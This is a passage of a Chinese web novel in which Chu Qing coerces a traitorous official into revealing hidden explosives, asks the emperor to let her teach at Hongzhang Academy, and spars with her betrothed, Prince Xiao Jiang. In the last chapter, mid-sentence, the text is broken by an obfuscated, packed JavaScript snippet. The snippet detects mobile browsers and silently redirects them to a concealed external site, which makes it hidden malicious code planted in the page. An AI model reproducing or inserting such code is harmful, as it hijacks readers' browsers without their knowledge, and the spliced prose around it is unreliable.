楚卿轻笑：“是金敕暗探把你从刑部大牢救出来的吧？” 赵炳神色一僵。 楚卿勾了勾唇角：“半月前，你察觉监察司正在彻查吏部，担心自己贪腐一事败露，不惜与虎谋皮，暗中勾结金敕暗探。你为金敕暗探盗取工部火药，作为报酬，金敕暗探承诺会帮你盯紧监察司，一旦贪腐一事查到你的头上，他们会帮你杀人灭口。” 赵炳脸色愈发难看，已然泛起阵阵青白。 看来她猜得不错。 楚卿停顿一瞬，给赵炳片刻考虑的时间，见他目光不再狠戾，才继续陈述：”可惜金敕人摆了你一道，不仅没帮你销毁贪腐的证据，反倒用你贪腐一事进一步威胁，逼你帮他们把炸药送进月坛。” 赵炳下意识攥拳，结满血痂的伤口下渗出鲜红的血。 楚卿不疾不徐道：“吏部贪腐一事败露，你被捕入狱。金敕人以你家人的性命相威胁，要你三缄其口，不得败露炸药一事。你答应了，他们就再次许诺，说可以救你出城。“ 挑拨离间，拉人反水，最好的办法就是放大目标的苦衷。 这个方法，楚卿屡试不爽。 赵炳差不多已经到了崩溃的边缘，楚卿俯下身：”赵大人，你现在已经逃出来了，金敕的人来接你了吗？” 赵炳紧紧咬住牙齿，只觉得恨意在胸口翻涌，如同亿万只蚂蚁在胸膛啃咬，灼热刺痛，仿佛要将他撕裂开。 他抬头看着眼前的白衣女子，一双眼眸沉静如水，看不见丝毫波澜。可被她默默注视着，却如同身临火海，只觉得一身伪装被烧得一干二净，瞒不住任何心思。 赵炳思量间，楚卿已经起身。 月色洒满衣裙，楚卿背对着赵炳，负手回眸：“赵大人，你是大靖的叛徒、金敕的弃子。我根本不需要你信我。 “你只能听我的。 “因为，你没得选。” 话音淡漠从容，却如同藏锋的利刃直击胸膛。 赵炳僵住片刻，放弃了挣扎：“我听你的，但你必须送我出城。” 楚卿转身，目光如刀：“赵大人，我说了，你没得选。” 言外之意是，即使她什么都不做，赵炳依旧要听她的。 见赵炳许是不懂，楚卿从怀中取出一枚金玉耳环，搭在指尖晃了晃：“赵大人，认识这个吗？” 赵炳登时慌了神：“你把云娘怎么了？” 云娘是他的外室，早在事发前一晚，他就已将小儿子和外室连夜送出了晟都城。 人明明是他亲自送出去的，怎么可能被发现？ 楚卿又将耳环收了起来，语意不明道：“眼下没怎么样，不过以后怎么样，还得看赵大人怎么选了。” 赵炳认栽了，他只有那一个儿子，他已经走到绝路，不能再连累儿子送命。 赵炳长舒一口气，闭眼缓了片刻，道：“金敕人想在皇城引起骚动，借机行刺，炸掉月坛只是第一步。晟都城里还有三处埋着炸药，我知道炸药在哪。” 他顿了顿，近乎哀求：“我如今一无所有，留我一条命，对你没有损失。我帮你指出藏匿地点，你放我出城。” 楚卿不语，面色微冷：“好。” 林七押着赵炳进屋，点好烛火，赵炳取出皇城地图，开始在街巷中圈画起来。 其余三处藏匿炸药的地点都是人群密集的地方，周围都是月坊和酒楼。 月坛虽重要，却远离闹市，那一炸并未伤及百姓。 可若其余三处地方炸了，必然死伤无数，后果不可估量。 图纸画好，接下来要做的就是把炸药找出来。 炸药数目众多，三处藏匿地点相隔甚远，此事光凭楚卿和林七二人远不够。 楚卿接过赵炳手里的图纸，给林七递了个眼色。 赵炳还没察觉异样，从衣柜里掏出一件外氅披上，问楚卿：“图纸给你了，什么时候送我出城。” 楚卿笑：“现在。” 咚一声！ 赵炳两眼一抹黑，直直摔在了地上。 把人敲晕的林七转了转手腕，问楚卿：“大人，人送到哪？” 楚卿：“他不是要出城吗？送他出去，连着图纸一起。” 林七又问：“那他的外室呢？” 楚卿愣了一下，失笑：“我诓他的。那支耳环是我在门口捡的，许是云娘逃跑的时候掉的。” 半刻钟后，城门塔楼上掉落一名昏厥的男子，守城卫兵认出他的身份，又在他 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“然后呢，然后呢？” 苏兰桡忍不住追问：“然后你怎么解释的？” 坐在对面的楚卿双手扶额，长叹一声：“我没解释。” 解释越多，破绽越多。何况对面还是萧绛，一句不慎都会被抓住把柄。 而且，她也不想骗萧绛。 没有缘由，就是不想。 苏兰桡颇觉扫兴：“那他没追问？” 楚卿摇头：“没有。” 她当时什么也没说，直接走了。 至于萧绛怎么想，随他去吧！大不了坦白身份，坐等着萧绛取消婚约。祁王妃的身份对她来说本就弊大于利，她日后要走的路，牵挂越少越好。 当然，这是楚卿的想法。 对面的苏兰桡一手捏着点心，红唇轻咬一口，忽然笑了一声。 楚卿一愣，伸手去摸她的脑袋：“是不是发烧了，要不给你请个郎中？” 苏兰桡摆开她的手，挑了下眉：“你有没有觉得，祁王对你很不一般啊？” 不知为何，楚卿的眼前忽然闪过昨夜抄手铺子里的景象，她把抄手递过去，萧绛竟乖乖张口吃了。 当时她没太注意，现在想想，那时候萧绛身上的感觉的确和从前不同，不再是冰冷的、孤傲的，反而充满了烟火气。 想着想着，楚卿忽然觉得耳根发热，因为她后知后觉地发现，当是的喂萧绛用的勺子，是她用过的…… 而萧绛不仅没嫌弃，反倒接了。 接下来的几日，晟都城几乎日日有囚车上路。 吏部、工部、礼部，凡是涉及到那晚月坛爆炸的相关人员，罚得罚、贬得贬，罪行恶劣的则直接当街处斩。 城郊的澜江水才刚开化，就被血水染红了大片。皇城人心惶惶，朝中便开始有官员上奏，说前任礼部尚书已故半年之久，礼部不能没人主管，眼下瀚水盟约签约在即，正是关键时刻，是时候选一名新的礼部尚书了。 28. 第二十八章 已至初春，冰雪消融。 城南柳荫巷的迎春花迎风而发，一片片簇拥着，如同摇曳的金色麦浪。 楚卿在柳荫巷巷口下了马车，随手折下一枝迎春花，阔步进了巷口的第一家院子。 院内已修葺一新，课堂、书房、寝殿，一应俱全，只是门口尚未挂牌。 楚卿今日来，正是为了给女子书院的匾额题字。 前些日子，苏兰桡已按楚卿的交代将“楚先生”回京的消息传了出去。 从前在秉烛书斋的求学的女学生们得知此事，纷纷暗中到访在建的女子书院。一是为了登记名册，为日后入学做准备；二也是为了问问那位从未露面的“楚先生”，如今是否安好。 苏兰桡将已登记准备入学的学生名册交给楚卿，问她：“学生们都担心你是不是出了事，等女子书院复课，你打算怎么解释？” 雪白的宣纸在书案上铺开，楚卿提笔蘸墨，缓缓落笔：“学周老呗，就说我出去游学了。” 苏兰桡：“人家周老游学带回来一本四荒游记，你带回什么了？” 楚卿思量一瞬，笑道：“一个不一样的楚先生。” “臭贫！”苏兰桡嗔她一眼，“我同你说正经的，这次女子书院重开，好多姑娘都不来了。原来秉烛书斋那么大点的地方还能坐满两间屋子，眼下新修的女子书院前前后后四间课堂，如果只有这十几名学生，不是大材小用了。” 楚卿动作一停，笔尖立刻在纸上晕开一道墨迹。 女子书院复课，学生数目减少，这些都在她意料之中。 毕竟停学半年，许多姑娘或许已被许配人家；亦或者，原来秉烛书斋一直在暗中授课，姑娘们求学还要偷偷摸摸，时间一久，难免疲倦。 楚卿将晕上墨迹的宣纸抽出来，又换了一张新的宣纸，淡淡道：“书院挂牌的事情不急。如果有学生想尽快复课，就还按从前的规矩来。但书院正式挂牌那天，我想光明正大地向全京城招生。” 苏兰桡一惊：“京中可没有这先例。” 楚卿点头：“嗯，没有，但不代表不能有。” 从前只能在暗中授课，是因为她的身上还有礼部尚书的头衔。如果可以，她早把女子书院的事情搬到明面上了。 秉烛书斋开了五年，楚卿手里走了一批又一批的学生。家中羁绊少的姑娘们，或许还能离开京城四方游历；但更多的是来此求学一遭，经历过、感受过，也就回到了原本的轨迹上。 所以楚卿一直在想，那些无法听从本心、被迫放弃梦想的姑娘们，缺的是才华吗？ 字写了一半，楚卿放下笔，看向窗外：“我原以为只要拥有读书求学的机会，见过闺阁外的辽阔天地，就能在面对选择时遵从本心，拥有追求自由的勇气。 “但我忽略了另一个同样重要的因素。” 苏兰桡似懂非懂：“什么因素？” 楚卿道：“人这辈子往那走，不只取决于自己的选择，也要看哪里有路。前路坦荡，自然走得从容；前路曲折多岔路，便要多加考量。可若前方只有拦路高山，进无可进，该如何呢？” 一袭话如晨钟暮鼓，重重敲在苏兰桡的心上。 俗世偏见化作高山横亘身前，纵使一身才学也无处施展。身为将门之女的楚暮是例子，楚卿自己也同样是例子。 “大靖女子缺的从来不是才华。”苏兰桡缓缓开口，“而是机遇。” 楚卿回眸，笑意清浅：“对，所以，我要去鸿章书院。” 大靖没有女子求学的先例，忽然成立一间女子书院，不仅世人无法接受，女学生们也会迫于压力，不敢迈出求学的第一步。 在女子书院面世前，必须先改变“女子读书无用论”的偏见。 凡是讲究循序渐进，要改变大环境的看法，得从小处着手。上次萧绛问楚卿想不想去鸿章书院，倒给她提了个醒。 高山在前，需有人移山开路。 鸿章书院作为大靖第一书院，若能开此先河，成为第一家招收女子的书院，那么日后无论是要成立女子书院，还是面向全大靖招生，都不是不可能完成的事。 楚卿早已做好打算，眼下只差一个机会——进入鸿章书院的机会。 次日一早，祁王府来信，邀楚卿于三日后入宫赴宴。 信中没说缘由，也没说是什么类型的宴会。但信是祁王府送来的，萧绛自然会和她一起去。 上次入宫，楚卿不知道情况让萧绛在数九寒天里等了她半个时辰，这回祁王府的马车一到，她准时赶了出去。 初春回暖，萧绛不再披着那件狐裘大氅，整个人看上去精神许多。楚卿见他气色不错，心情也跟着好了很多。 坐稳后，楚卿把手里的红漆木盒递给萧绛：“喏，给你的。” 萧绛垂眸打量一眼，没接。 楚卿：“……放心吧，不是贿赂。” 萧绛接过木盒，打开一看，竟是一对光泽细腻的东珠耳坠，纤细的银丝将东珠缠住一半，在软润的珠体上绕出一片片精致的花纹。 楚卿解释道：“上次不小心弄坏了你的耳坠，一直也没向你道歉。这对东珠是我从一个西域商人手里买的，成色可能比你那对差点。你要是不嫌弃，就收下当作赔礼。若是嫌弃，丢了，当了，也都随你。” “不必。”萧绛竟扣上盒盖，把耳坠还了回来，“本王拿这东西没用，你自己留着吧！” 没用还那么宝贝？ 那对耳坠不是送给心上人的，她楚卿的名字倒过来写。 “王爷，那对东珠耳坠，你是打算送人的吗？”楚卿收回红漆木盒，试探着问萧绛。 萧绛却不理她。 楚卿又道：“王爷也知道，镇南将军府里只有我和家母二人，家母体弱，我若是再早早嫁了人，家母没人照顾，我也不放心。而且我们将军府现在条件也不好，和您祁王府结亲，也怪没底气的。其实我看得出来，那对东珠耳坠是王爷给心上人准备的吧？既然王爷已经有了心上人，不妨……” 萧绛直截了当戳穿她的心思：“你想退婚。” 楚卿抱拳：“知我者，王爷也。” 萧绛：“婚事是圣上钦赐，本王没有这个权利。若你真想退婚，不妨趁今日父皇赏赐，请父皇还你的自由身。” 楚卿愣了愣：“赏赐？” 萧绛面不改色：“月坛被炸那晚，你捉拿赵炳，找出京中剩余三处炸药，论功当赏。父皇今日在宫中设宴，特意邀你前来，正是为了此事。” 那晚楚卿从未在人前露面，皇帝怎么可能知道是她 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楚卿捻了捻指间的糖糕碎末，对上萧绛的目光：“王爷想让我提退婚吗？” 萧绛别过头：“随你。” “随我啊？”楚卿随口皮了一句，“那就不退了，我舍不得。” 萧绛：“……” 犹豫片刻，萧绛再次开口：“如果你不想嫁给本王，本王可以将婚期延后，等日后时机成熟，由本王来解除这门婚约。” 萧绛话说一半，楚卿却听出了他的弦外之音——萧绛在提醒她——圣上封赏，机会难得，既然要求，就该求些别人办不到的。 楚卿侧头看着他，眼底含笑，微一举杯：“多谢。” 不多时，皇后将话题引到楚卿的身上，皇帝便传楚卿离开席位到大殿中央来回话。 楚卿起身，走到大殿中央跪拜：“臣女楚卿，参见陛下，参见皇后娘娘。” 众人的视线也纷纷落到楚卿的身上。 坐在大殿之上的九五至尊沉声开口：“楚家世代忠良，镇南将军更是百年难得一遇的良将。你身为楚家嫡女，有勇有谋，颇有楚老将军当年的风范。只可惜你是女儿身，若为男儿，或可入仕为官，成大靖栋梁。朕也不难为你，你有功，当赏，有何诉求，大可以提出来，不必含蓄。” 楚卿跪在殿下，脊背却挺直：“臣女确有一事，恳请陛下应允。” 皇帝摆摆手：“讲。” 楚卿双手交叠举至额前，颔首道：“臣女恳请陛下，准臣女进鸿章书院。” 皇帝闻言看向萧绛，忽而笑了几声：“难怪老五前些时日向朕请命，希望在鸿章书院内设立女子学部，原来是为了你这丫头！” 楚卿不免惊讶，垂下的视线微微倾斜，落到了萧绛的身上。 萧绛身子笔挺地坐着，并未给她回应。 皇帝又笑：“既然你有心求学，朕也并非不能开此先例，准你入鸿章书院求学。” 楚卿收回视线，解释道：“陛下，臣女并非想入鸿章书院求学。 “臣女想入鸿章书院，做女先生。” 登时满殿寂静，四下无声。 29. 第二十九章 “鸿章书院书院是什么地方？别说是夫子，连入学的学子都要三审六考，但凡一项资质不过关，都摸不到鸿章书院的门槛。这祁王妃是不是疯了？” “一个名不见经传的黄毛丫头，也敢大言不惭地想入鸿章书院？还想与周老先生等大儒比肩共事，当真是不知天高地厚！” “祁王怎么选了这么一个没见识的女人当王妃，丢人丢到圣上面前，看她怎么下台。” 席间的妃子和皇子开始窃窃私语，原本安静的殿内又喧闹起来。 跪在大殿中央的楚卿颔首不语，脊背却挺直。萧绛坐在席位间，刚好可以看到她低垂的眼眸。 在她的目光里，有处狂澜而不惊从容，也运筹帷幄、坚定决绝的孤勇。 这样的神色，他在另外一个人的身上也见到过。 那曾是他乏善可陈的岁月里，最灼眼的颜色。 皇帝沉默片刻，皱了皱眉，玉扳指敲在茶盏上，几声脆响，殿内再次安静下来。 “原因。”皇帝沉声发问，语气严肃起来。 楚卿垂着眼眸，微微扬头，道：“物尽其用，人尽其才。鸿章书院缺一位策论先生，臣女斗胆效仿先贤，毛遂自荐。” 不提自己的诉求，反讲起鸿章书院的需要，倒是聪明。 “口气不小。”皇帝面色回转，朝身后的龙椅靠了靠，“鸿章书院乃大靖第一书院，你要做开山第一位女先生，得令书院的其他学生信服。朕准你先以学生的身份入院，三月末鸿章书院大考，若你能夺得榜首，再提做夫子的事。” 鸿章书院每年两次大考，不分年级和资历，所有学子一同参加考试，一同排榜。 皇帝虽然没答应楚卿的请求，但也算给了她机会。 离开皇宫后，楚卿回到将军府。她和林七说了大概的打算，二人便开始收拾行李，准备搬进鸿章书院。 鸿章书院的学生平时都住在书院里，楚卿三日后搬进去，这一走，以后一周才能回一次将军府。 蒋氏得知此事惊了一大跳，连夜赶到琼英院来问楚卿的情况。 “小二，你怎么忽然想起来要去鸿章书院了？”蒋氏满眼地不敢相信地看着楚卿。 楚卿正蹲在地上收拾书箱，闻言开玩笑道：“姑父从前不总念叨鸿章书院怎么怎么好嘛，天天琢磨着怎么把高闻送进去。可惜他那草包儿子不争气。高闻进不去，我替他进去看看。” 蒋氏长长叹出一口气：“小二，鸿章书院里都是男子，你一个姑娘家进去，万一传出些风言风语，你要如何自处，又要祁王的脸面往哪搁？” 楚卿起身，抱臂靠在书架上：“我可是鸿章书院第一名女学生，未来还可能是第一名女先生，祁王有什么怕丢脸的？他说不定还觉得倍张脸呢！” “胡闹。”蒋氏皱着眉，“娘不求你大富大贵，更不敢奢求你像你父亲一样名垂千古。小二，娘就希望你能安安稳稳过一辈子，男人的事情有男人去做，你就安安分分等着出嫁，别折腾了，成吗？” “娘，什么是男人的事情？什么又是女人的事情？”楚卿走到蒋氏对面坐下，问道，“楚暮姑姑也曾随外祖父远征边塞，可除了我们楚家人，还有人知道这件事吗？” 蒋氏忽然不知如何答话。 楚卿又道：“爹爹保家卫国是大靖英雄，姑姑领兵出征就是异类，是做了见不得光的丑事。娘，这个世道给女子的框架已经够多了，我们身为女子，何必再给自己上枷锁？” 蒋氏有些茫然，这些和她过往四十余年里身体力行的道理完全相悖。像她们这样的女子，自小受母亲言传身教，认为女子就该居于后宅，相夫教子。等嫁人生子，再把同样的规矩言传身教给自己的女儿。 可此刻眼前的人却告诉她，这些她安身立命的准则是牢笼、是枷锁、是困住女子的藩篱，必须被冲破。 对未知的本能畏惧令蒋氏的手微微颤抖，楚卿适时搭住她颤抖的手，道：“娘，从今往后，没有什么是不能奢望的，只要敢想，敢做，哪怕名垂千古，也不是奢望。” 蒋氏目光闪烁，反握住楚卿的手，没言语，心下却多了许多说不清的期望。 楚卿又道：“娘，我有非走不可的路，您也该替自己考虑考虑。若我日后离开将军府，您真打算自己一个人过一辈子吗？” 蒋氏这次出奇地没有反驳。 …… 三日过得很快。 这日一早，林七备好马车，楚卿被蒋氏送着出门。三人在门口告别，楚卿正准备登车，一辆黑漆金边的马车从街角拐了进来。 楚卿认出驶来的马车，迈上马凳的脚又收了回来。 马车在将军府门前停稳，车帘被修长的手指掀开一角。 萧绛隔着窗户看向楚卿：“上车。” 楚卿：“稀客啊！” 前面赶马的叶安小声嘀咕：“这都第几回了，不稀了。” 楚卿没听见叶安的话音，走到窗边问萧绛：“王爷怎么来了？” 萧绛：“路过。” 哦，那挺巧的，一个月路过好几回了吧？ 楚卿笑了笑，吩咐林七带着行李上另一辆马车，自己则登上了萧绛的马车。 萧绛靠坐在软垫上，手边放着一个黑色的箱子。楚卿在他对面坐稳，他看了一眼身侧的箱子，示意楚卿：“给你的。” 楚卿也不客气，直接坐到了萧绛的一侧。二人之间只隔着一个木箱的距离，楚卿特意朝萧绛的方向闻了闻，只有淡淡的乌沉香的味道，没有她想找到的草药香。 她又收回思绪，低头翻看箱子。 木箱有三层，第一层放着鸿章书院的院服，第二层是一套笔墨纸砚。 笔墨纸砚皆是上品，尤其是这方砚台。去年砚宝斋的展会上，楚卿曾见过这方砚台，用料绝佳，雕刻精细，价格足以让京中大半权贵望而生畏。 楚卿有收集砚台的习惯，但碍于囊中羞涩，那时才放弃了一掷千金的念头。 “王爷，这砚台够换京中俩院子吧，就这么送我了？”楚卿抬眸问道。 萧绛垂着眼帘，淡淡回应：“原本不是为你准备的，如果你不介意，就收下。” 有这么送礼物的吗？ 楚卿心里有些不是滋味，故作潇洒道：“哦，没事，不介意，谁跟钱过不去呢！” 萧绛瞥她一眼，皱了皱眉：“抱歉，本王只是觉得这方砚台很适合你。” 楚卿一愣，萧绛在同她道歉？ 只见萧绛剑眉紧锁，似乎在仔细措辞，顿了一瞬，才又道：“我没有敷衍你的意思。” 素来淡漠的眼底流露出几乎微不可查的愧疚，竟让这位一贯处变不惊的王爷看起来有些局促。 楚卿也不知怎么，嘴角忍不住地上扬：“没关系，请我吃顿饭就原谅你。” 萧绛不语，避开了她的目光。 楚卿继续翻箱子，犹豫片刻，试探着开口：“王爷，上次你问我楚钦楚大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790878|158092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的事，我没回答你。” 听见“楚钦”二字，萧绛立刻看向楚卿，衣袖下的手指不自觉收紧。 楚卿吸了口气：“不如，我们做个交易。我告诉你楚大人的事，你回答我一个问题。” 萧绛皱眉：“什么问题？” 很好，看来他的确感兴趣。 楚卿沉声开口：“去年中秋大火那日，王爷去过金庆宫吗？” 萧绛目光骤冷。 楚卿笑：“王爷去过。” 萧绛不答，反而问她：“你和楚钦，是什么关系？” 楚卿道：“王爷应该早已调查过我，还没查出我们的关系吗？” 萧绛的确早就查过，可无论是识于秉烛书斋师生，还是识于济州的恩人与被救者，都不像楚钦和楚卿的关系。 她们太像了，一样的狡猾，又一样的固执。 即使生着完全不同的容貌，有着完全不同的身份，萧绛仍时不时在楚卿身上看到故人的影子。 萧绛顿了顿，垂下眼眸：“那晚本王的确去过金庆宫。” “去做什么？”楚卿追问。 萧绛抬眸看向他，目光中满是考量：“本王已经回答了你的问题，该你了。” 这也叫回答？ 她明明都猜出来了。 楚卿朝后靠了靠，抱臂道：“我认识楚大人很久了。” 这样应该不算骗他。 萧绛依旧沉沉看着她：“何时，因何相识？” 楚卿：“王爷也只回答了我一个问题，再问要加价的。” 萧绛便不再理她。 车内安静下来，只剩下车轮压过青石路的声音。萧绛不说话，楚卿又翻开了第三层箱子。 第三层是一些书籍和笔记。笔记上是往年鸿章书院大考的题目和今年策论的主要方向。萧绛准备这些，八成是怕她拿不下榜首。 楚卿遂笑：“王爷，我们打个赌呗？” 萧绛淡淡看向她。 楚卿道：“如果我不用你准备的这些材料，也能拿下三月后的榜首，你陪我出一次城。” 萧绛：“出城做什么？” 楚卿不答：“王爷赌不赌吗？” 萧绛思量一瞬：“本王可以同你赌，但你要本王一个忙。” 楚卿想都没想：“好啊！” 萧绛：“……你先听本王说完。皇后娘娘有意为九公主找一位女先生，如果你方便，不如就由你来。” 楚卿心道，多大点事，不就是教书嘛，她老本行啊！ “嗯，可以。”楚卿爽快应下，“不过鸿章书院是封闭式管理，平日里我出来可能不方便。” 萧绛道：“这个你不用担心。鸿章书院每日酉时放课，祁王府的马车会准时来接你。” 楚卿问：“那我去哪给公主授课？” 萧绛：“皇宫出入不便，九公主已经到祁王府暂居。方便起见，以后每晚你到祁王府来。” 楚卿：“……” 这可真是太方便了。 已经掉进贼坑，楚卿只能硬着头皮答应。 将军府离鸿章书院不远，二人交谈间已到了鸿章书院的正门前。 楚卿跳下马车，萧绛顺着窗口将箱子递给她：“放课后来正门，有人来接你。” 楚卿接过箱子，不解道：“今晚就要开课？这么急？” 萧绛剑眉微蹙，避开楚卿的目光：“不是，今晚你来祁王府，请你用膳。”